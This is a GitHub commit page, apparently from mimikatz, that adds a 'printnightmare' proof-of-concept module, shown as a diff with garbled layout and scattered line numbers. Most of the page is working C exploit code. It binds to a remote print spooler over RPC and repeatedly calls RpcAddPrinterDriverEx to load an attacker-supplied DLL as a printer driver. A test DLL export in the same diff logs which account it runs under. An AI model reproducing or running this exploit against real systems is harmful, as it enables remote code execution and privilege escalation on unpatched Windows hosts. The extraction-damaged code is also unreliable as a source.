

## Commit

```
[new] mimikatz misc::printnightmare little POC
                                                                                                                                 Browse files
P Loading branch information..
   gentilkiwi committed Jul 1, 2021
                                                                                                             1 parent 6a3e432 commit c212760
                                                                                                                 Ignore whitespace
                                                                                                                                   Split
                                                                                                                                         Unified
   Showing 10 changed files with 439 additions and 30 deletions.
                                                                                                     Whitespace
                                                  185 mimikatz/modules/kuhl_m_misc.c [ ]
 Q Filter changed files
                                                              @@ -28,6 +28,7 @@ const KUHL_M_C kuhl_m_c_misc[] = {
       mimikatz/modules
                                                28
                                                       28
                                                                      {kuhl_m_misc_aadcookie, L"aadcookie",
     kuhl_m_misc.c
                                     29
                                                       29
                                                                      {kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey,
                                                                                                                                L"ngcsign",
                                                              NULL},
     kuhl_m_misc.h
                                     •
                                                30
                                                       30
                                                                      {kuhl_m_misc_spooler,
                                                                                             L"spooler",
                                                                                                                        NULL},
                                                                                                                                        NULL},
    mimilib
                                                                      {kuhl_m_misc_printnightmare,
                                                                                                       L"printnightmare",
                                                       31
                                                31
                                                                      {kuhl_m_misc_sccm_accounts,
                                                                                                       L"sccm",
                                                                                                                                NULL},
                                                       32
     kspool.c
                                     \oplus
                                                32
                                                       33
                                                              };
```

```
modules/rpc

kull_m_rpc.c

kull_m_rpc_ms-rprn.c

kull_m_rpc_ms-rprn.h
```

 $\oplus$ 

•

•

kspool.h

mimilib.def

mimilib.vcxproj

mimilib.vcxproj.filters

```
33
         34
                const KUHL_M kuhl_m_misc = {
    +
                @@ -1394,13 +1395,197 @@ NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t *
    †
                argv[])
1394
       1395
                                        }
1395
       1396
                                }
1396
       1397
                                else PRINT_ERROR(L"missing /connect argument to specify
                notifications target");
       1398
                        else PRINT_ERROR(L"missing /server argument to specify spooler
       1399
                server");
       1400
                        return STATUS_SUCCESS;
       1401
       1402
1397
       1403
              + NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])
       1404
       1405
                        LPCWSTR szRemote, szLibrary, szTry, szShortLibrary;
       1406
                        LPWSTR szSystem32, szDriver, szKernelBase, szDriverPath;
       1407
                        DRIVER_INFO_2 DriverInfo = {3, L"QMS 810",
       1408
              + #if defined(_M_X64) || defined(_M_ARM64)
       1409
                        L"Windows x64"
       1410
            + #elif defined(_M_IX86)
       1411
       1412 +
                        L"Windows x86"
       1413 + #endif
                        , NULL, NULL, NULL);
       1414 +
                       DWORD limit, i;
       1415
       1416
       1417
                       if(kull_m_string_args_byName(argc, argv, L"server", &szRemote, NULL)
                || kull_m_string_args_byName(argc, argv, L"target", &szRemote, NULL))
       1418
       1419
                                if(kull_m_string_args_byName(argc, argv, L"library",
                &szLibrary, NULL))
       1420 +
                                        szShortLibrary = wcsrchr(szLibrary, L'\\');
       1421
                                        if(szShortLibrary && *(szShortLibrary + 1))
       1422
       1423
                                                szShortLibrary++;
       1424
                                                kprintf(L" | Remote
       1425
                                                                    : %s\n", szRemote);
                                                if(kull_m_rpc_createBinding(NULL, L"ncacn_np",
       1426 +
                szRemote, L"\\pipe\\spoolss", L"spooler", TRUE, RPC_C_AUTHN_DEFAULT, NULL,
                RPC_C_IMP_LEVEL_DELEGATE, &hSpoolHandle, NULL))
```

```
1427
                                        {
1428 +
        if(kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(DriverInfo.p
        Environment, &szSystem32, &szDriver))
1429 +
                                                {
1430
        if(kull_m_string_sprintf(&szKernelBase, L"%skernelbase.dll", szSystem32))
1431
                                                                kprintf(L"*
1432 +
        KernelBase: %s\n", szKernelBase);
1433 +
        if(kull_m_string_sprintf(&szDriverPath, L"%sunidrv.dll", szDriver))
1434
1435
        DriverInfo.pDriverPath = szDriverPath;
1436 +
        DriverInfo.pDataFile = (LPWSTR) szLibrary;
1437 +
                                                                        kprintf(L"*
        DriverPath: %s\n", DriverInfo.pDriverPath);
1438 +
                                                                        kprintf(L"|
        DataFile : %s (%s)\n", DriverInfo.pDataFile, szShortLibrary);
1439 +
        if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(szSystem32, &DriverInfo,
        0, szKernelBase) == ERROR_SUCCESS)
1440 +
                                                                        {
1441 +
        if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(szSystem32, &DriverInfo,
        0, szKernelBase) == ERROR_SUCCESS)
                                                                                {
1442 +
1443 +
        if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(szSystem32, &DriverInfo,
        2, szShortLibrary) != ERROR_SUCCESS)
1444 +
1445 +
        if(kull_m_string_args_byName(argc, argv, L"try", &szTry, NULL))
1446
1447 +
        limit = wcstoul(szTry, NULL, 0);
1448 +
        kprintf(L" | Trying
                             : 3 to %u\n", limit);
1449 +
        for(i = 3; i <= limit; i++)</pre>
1450 +
1451 +
        if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(szSystem32, &DriverInfo,
        i, szShortLibrary) == ERROR_SUCCESS)
1452 +
1453 +
        break;
1454 +
1455
1456
1457
1458
                                                                               }
                                                                        }
1459
1460
        LocalFree(szDriverPath);
1461 +
                                                                }
1462 +
        LocalFree(szKernelBase);
1463
                                                        LocalFree(szSystem32);
1464
                                                        LocalFree(szDriver);
1465
1466
                                                }
1467
        kull_m_rpc_deleteBinding(&hSpoolHandle);
```

```
1468
       1469
                                       }
                                       else PRINT_ERROR(L"Unable to get short library name
       1470
               from library path (%s)\n", szLibrary);
       1471
       1472
                               else PRINT_ERROR(L"missing /library argument to specify
                anonymous share");
1398
       1473
                       }
                       else PRINT_ERROR(L"missing /server argument to specify spooler
1399
       1474
               server");
       1475
1400
                       return STATUS_SUCCESS;
1401
       1476
1402
       1477
               }
1403
       1478
             + BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(LPCWSTR
                szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver)
       1480
             + {
       1481
                       BOOL status = FALSE;
                       DWORD ret, i, cbNeeded = 0, cReturned = 0;
       1482
                       _PDRIVER_INFO_2 pDriverInfo;
       1483
                       LPWSTR pDriverPath, ptrSys, ptrDrv;
       1484
       1485
                       if(szSystem32 && szDriver)
       1486
       1487
                               RpcTryExcept
       1488
       1489
                                       ret = RpcEnumPrinterDrivers(NULL, (wchar_t *)
       1490
               szEnvironment, 2, NULL, 0, &cbNeeded, &cReturned);
                                       if(ret == ERROR_INSUFFICIENT_BUFFER)
       1491
       1492
                                                pDriverInfo = (_PDRIVER_INFO_2)
       1493
               LocalAlloc(LPTR, cbNeeded);
                                                if(pDriverInfo)
       1494
       1495
                                                {
       1496 +
                                                        ret = RpcEnumPrinterDrivers(NULL,
                (wchar_t *) szEnvironment, 2, (BYTE *) pDriverInfo, cbNeeded, &cbNeeded,
               &cReturned);
       1497 +
                                                        if(ret == ERROR_SUCCESS)
                                                        {
       1498
                                                                for(i = 0; (i < cReturned) &&</pre>
       1499
                !status; i++)
       1500
       1501 +
                                                                        pDriverPath = (PWSTR)
                (pDriverInfo[i].DriverPathOffset ? (PBYTE) &pDriverInfo[i] +
               pDriverInfo[i].DriverPathOffset : NULL);
                                                                        if(pDriverPath)
       1502 +
                                                                        {
       1503
       1504
               StrStrI(pDriverPath, L"system32\\driverstore\\filerepository\\ntprint.inf_");
       1505
                                                                                if(ptrSys)
                                                                                {
       1506
                                                                                        ptrDrv
       1507
               = wcsrchr(pDriverPath, L'\\');
       1508 +
               if(ptrDrv && *(ptrDrv + 1))
       1509 +
       1510 +
              *(ptrDrv + 1) = L'\0';
       1511 +
               if(kull_m_string_copy(szDriver, pDriverPath))
       1512 +
       1513 +
               *(ptrSys + 9) = L'\setminus 0';
       1514 +
               status = kull_m_string_copy(szSystem32, pDriverPath);
       1515 +
             if(!status)
       1516 +
       1517 +
             LocalFree(*szDriver);
       1518 +
```

```
1519
1520
                                                                                 }
1521
                                                                         }
                                                                 }
1522
1523
                                                        }
                                                 }
1524
1525
                                                 else
        PRINT_ERROR(L"RpcEnumPrinterDrivers(data): %u\n", ret);
                                                 LocalFree(pDriverInfo);
1526
1527
1528
                                }
1529 +
                                else PRINT_ERROR(L"RpcEnumPrinterDrivers(init): %u\n",
        ret);
1530 +
                        RpcExcept(RPC_EXCEPTION)
1531
                                PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n",
1532 +
        RpcExceptionCode(), RpcExceptionCode());
1533 +
                        RpcEndExcept
1534
                }
1535
                return status;
1536
      + }
1537
      + DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(LPCWSTR szSystem32,
1538
        PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile)
1539
                DWORD ret;
1540
1541
                DRIVER_CONTAINER container_info;
1542
                LPWSTR szConfig = NULL;
1543
                container_info.Level = 2;
1544
                container_info.DriverInfo.Level2 = pInfo2;
1545
1546
                if(dwStep)
1547
1548
                        if(kull_m_string_sprintf(&szConfig,
        L"%sspool\\drivers\\%s\\3\\old\\%u\\%s", szSystem32,
1549
      + #if defined(_M_ARM64)
1550
                                L"ARM64"
1551
      + #elif defined(_M_X64)
1552
                                L"x64"
1553
      + #elif defined(_M_IX86)
                                L"W32X86"
1554
1555
      + #endif
1556
                                , dwStep, pConfigFile))
1557
                        {
1558
                                pInfo2->pConfigFile = szConfig;
1559
                        }
                        else pInfo2->pConfigFile = NULL;
1560
                }
1561
                else
1562
1563
                         pInfo2->pConfigFile = (LPWSTR)pConfigFile;
1564
                }
1565
1566
                kprintf(L"> ConfigFile: %s - ", pInfo2->pConfigFile);
1567
                RpcTryExcept
1568
1569
1570 +
                        ret = RpcAddPrinterDriverEx(NULL, &container_info,
        APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000); //
        APD_INSTALL_WARNED_DRIVER
                        if (ret == ERROR_SUCCESS)
1571 +
1572
                                kprintf(L"OK!\n");
1573
1574
                        else PRINT_ERROR(L"%u\n", ret);
1575
1576
                }
                RpcExcept(RPC_EXCEPTION)
1577 +
1578 +
                        PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n",
        RpcExceptionCode(), RpcExceptionCode());
1579 +
                RpcEndExcept
1580
                if(szConfig)
1581
1582
                        LocalFree(szConfig);
1583
```

```
1584
                       }
       1585
       1586
                       return ret;
       1587
             + }
       1588
               typedef struct _SCCM_ENCRYPTED_HEADER {
1404
       1589
1405
       1590
                       DWORD cbKey;
       1591
                       DWORD cbDecrypted;
1406
    +
 ∨ 💠 4 ■■■■ mimikatz/modules/kuhl_m_misc.h 📮
               @@ -44,8 +44,12 @@ NTSTATUS kuhl_m_misc_xor(int argc, wchar_t * argv[]);
  44
         44
               NTSTATUS kuhl_m_misc_aadcookie(int argc, wchar_t * argv[]);
               NTSTATUS kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey(int argc, wchar_t *
  45
         45
               argv[]);
  46
         46
               NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]);
             + NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
         47
  47
         48
               NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);
  48
         49
         50
             + BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(LPCWSTR
                szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver);
         51 + DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(LPCWSTR szSystem32,
                PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile);
         52 +
               BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCESS_INFORMATION
  49
         53
               pSystemProcessInformation, PVOID pvArg);
  50
         54
               BOOL CALLBACK
               kuhl_m_misc_detours_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMAT
               ION pModuleInformation, PVOID pvArg);
  51
         55
               BOOL CALLBACK
               kuhl_m_misc_detours_callback_module_exportedEntry(PKULL_M_PROCESS_EXPORTED_ENT
               RY pExportedEntryInformations, PVOID pvArg);
    +
```

```
✓ 28 ■■■■ mimilib/kspool.c 
☐

              @@ -0,0 +1,28 @@
                      Benjamin DELPY `gentilkiwi`
        2
                      https://blog.gentilkiwi.com
        3
                      benjamin@gentilkiwi.com
        4
                      Licence : https://creativecommons.org/licenses/by/4.0/
           + */
        6
           + #include "kspool.h"
        7
           +
        8
           + void kspool()
        9
           + {
                      FILE * kspool_logfile;
       10
       11
                      WCHAR Buffer[256 + 1];
       12
                      DWORD cbBuffer = ARRAYSIZE(Buffer);
       13
       14
           + #pragma warning(push)
       15
           + #pragma warning(disable:4996)
       16
                      if(kspool_logfile = _wfopen(L"kiwispool.log", L"a"))
            + #pragma warning(pop)
       18
                      {
       19
                              klog(kspool_logfile, L"Hello!\n");
       20
                              if(GetUserName(Buffer, &cbBuffer))
       21
       22
                                      klog(kspool logfile, L"I\'m running with \'%s\' (and I
       23
              like it)\n", Buffer);
       24
                              }
       25
                             fclose(kspool_logfile);
       26
       27
                      }
       28 + }
```

```
2
                       https://blog.gentilkiwi.com
         3
                       benjamin@gentilkiwi.com
                       Licence : https://creativecommons.org/licenses/by/4.0/
         4
         5
            + */
            + #pragma once
            + #include "utils.h"
         8
            + void kspool();
               Θ
∨ 💠 2 ■■□□□ mimilib/mimilib.def 🖵
   <u>+</u>
               @@ -25,5 +25,7 @@ EXPORTS
 25
        25
                       NPLogonNotify
                                                       = knp_NPLogonNotify
                       {\tt NPGetCaps}
                                                               = knp_NPGetCaps
 26
        26
 27
        27
                       {\tt DrvResetConfigCache}
        28
                                                       = kspool
        29
                       DllGetClassObject
                                               = kcredentialprovider_DllGetClassObject
 28
        30
               PRIVATE
                       DllCanUnloadNow
                                               = kcredentialprovider_DllCanUnloadNow PRIVATE
 29
        31
               \Theta
            💴 mimilib/mimilib.vcxproj 📮
   ....
               @@ -102,6 +102,7 @@
       102
                   <ClCompile Include="kdns.c" />
102
                   <ClCompile Include="kfilt.c" />
103
       103
                   <ClCompile Include="knp.c" />
104
       104
                   <ClCompile Include="kspool.c" />
       105
                   <ClCompile Include="kssp.c" />
105
       106
                   <ClCompile Include="ksub.c" />
106
       107
                   <ClCompile Include="kcredentialprovider.c" />
107
       108
   .....
               @@ -118,6 +119,7 @@
118
       119
                   <Clinclude Include="kdns.h" />
119
       120
                   <ClInclude Include="kfilt.h" />
                   <Clinclude Include="knp.h" />
120
       121
       122
                   <ClInclude Include="kspool.h" />
121
       123
                   <Clinclude Include="kssp.h" />
122
       124
                   <ClInclude Include="ksub.h" />
123
       125
                   <ClInclude Include="kcredentialprovider.h" />
   +
💴 mimilib/mimilib.vcxproj.filters 🖵
   <u>†</u>
               @@ -34,6 +34,7 @@
 34
        34
                   <ClCompile Include="ksub.c" />
 35
        35
                   <ClCompile Include="knp.c" />
 36
        36
                   <ClCompile Include="kcredentialprovider.c" />
                   <ClCompile Include="kspool.c" />
        37
                 </ItemGroup>
 37
        38
 38
        39
                 <ItemGroup>
 39
        40
                   <ClInclude Include="utils.h" />
               @@ -62,6 +63,7 @@
   .
 62
        63
                   <ClInclude Include="kdhcp.h" />
        64
                   <ClInclude Include="ksub.h" />
 63
                   <Clinclude Include="knp.h" />
 64
        65
                   <Clinclude Include="kspool.h" />
        66
 65
        67
                 </ItemGroup>
 66
        68
                 <ItemGroup>
                   <Filter Include="sekurlsadbg">
 67
        69
   +
@@ -38,7 +38,7 @@ BOOL kull_m_rpc_createBinding(LPCWSTR uuid, LPCWSTR ProtSeq,
   .
               LPCWSTR NetworkAddr
 38
        38
                       BOOL status = FALSE;
                       RPC_STATUS rpcStatus;
 39
        39
                       RPC_WSTR StringBinding = NULL;
 40
        40
```

```
RPC_SECURITY_QOS SecurityQOS = {RPC_C_SECURITY_QOS_VERSION,
41
             RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH, RPC_C_QOS_IDENTITY_STATIC,
             ImpersonationType};
                     RPC_SECURITY_QOS SecurityQOS = {RPC_C_SECURITY_QOS_VERSION,
       41 +
             RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH | (ImpersonationType ==
             RPC_C_IMP_LEVEL_DELEGATE) ? RPC_C_QOS_CAPABILITIES_IGNORE_DELEGATE_FAILURE :
             0, RPC_C_QOS_IDENTITY_STATIC, ImpersonationType};
42
       42
                     LPWSTR fullServer = NULL;
43
       43
       44
                     *hBinding = NULL;
44
  +
```

0 comments on commit c212760

Please <u>sign in</u> to comment.

© 2024 GitHub, Inc. Terms Privacy Security Status Docs Contact Manage cookies Do not share my personal information